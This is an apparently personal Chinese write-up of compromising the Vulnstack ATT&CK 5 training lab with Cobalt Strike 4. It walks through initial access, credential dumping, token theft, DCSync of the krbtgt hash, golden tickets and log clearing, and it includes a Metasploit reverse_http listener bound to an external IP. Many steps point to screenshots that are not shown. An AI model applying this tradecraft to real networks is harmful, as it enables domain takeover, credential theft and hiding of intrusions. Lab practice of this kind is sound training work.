内 中CobaltStrike4.0（CS4）的渗透之旅

前言

这是老以前做的一个，主要熟悉一下cs4的新特性，还是发出来看看吧，流程简单一些，但是内 流程还是比较完整的。大家可以看看

• 本次靶机为红日安全的ATT&CK第五个靶场。
• http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
• 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
• 文章中如有错误的地方望大佬指正。
• 菜鸡文章望大佬勿喷。

0x00信息收集

Namp 扫一下

发现 80 3306

searchsploit thinkphp

有货

0x00入口权限获取

上传的姿势太多了，我就使用一个最简单的

使用powershell 下载 CS payload

0x01 提权

权限比较低，需要提权

svc-exe

这个参数，并不是和提权那样，帮你从普通用户 ”pwn！！“ 一下子拿下系统，而是当管理员权限满足不了你的时候，可以用进行提升（类似命令，但是不太好使）

0x02 横向移动

切换到高权限用户

通过 explore-Process List 先查看一下进程，看看有没有杀毒软件

/p>

这个靶机怎么可能有是流程还是要走一下的

内 的信息搜集

段的端口扫描，得来一下意思意思吧

还可以用cs4的新增命令

工作站域是 sun.com

可现在登录域是 win7

因此我们需要一个域用户的进程来进行信息搜集

我们需要一个域用户

先调用 Logonpasswords 抓一波密码

那我们拿到了这些凭据如何去调用他们呢/p>

切换回 本地管理员的beacon上 使用凭证有三种方法

• 第一种:使用make_token去调用
• 第二种:使用pth命令生成一个新的进程注入进去
• 第三种:使用spawn as

第一种:Make_token

Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上，您的权限、权限或标识没有变化。但是，当您与远程资源交互时，使用的是您
伪造的身份.

先本地测试试命令,这个命令本地用户是用不了的，所以我们make_token一个域用户

第二种:使用pth命令生成一个新的进程注入进去

找到PID

然后steal_token PID 成功执行域命令

或者命令

第四中 进程注入到域用户的进程中，但必须得是 高权用户

那我使用system权限进入，找到域用户进程

0x03 域内信息收集

有了域用户，那么就可以在域内收集信息

方法太多了，我只简单的介绍CS里面东西

查看域内计算机

查看域管理员

Net group \sun.com domain admin

看下sid

生成伪造缓存

用mimikaze

将票据注入到内存中

0x04横向到域控

正向连接

拿下DC

选取刚刚的listener

加入注册表

机子也是反向链接回来的，注意箭头

2、使用 dcsync 命令导出 krbtgt 的NTLM Hash

到手

制造黄金票据

清除票据

0x06 通道的构建

会话的派生

打开msf监听

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run

CS搭建SOCKS代理都说不稳，所以转到MSF上

0x07清除日志

推荐脚本用奇安信A-Team写的脚本

链接：https://github.com/QAX-A-Team/EventLogMaster

0x08 小结

• 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
• 文章中如有错误的地方望大佬指正。
• 菜鸡文章望大佬勿喷。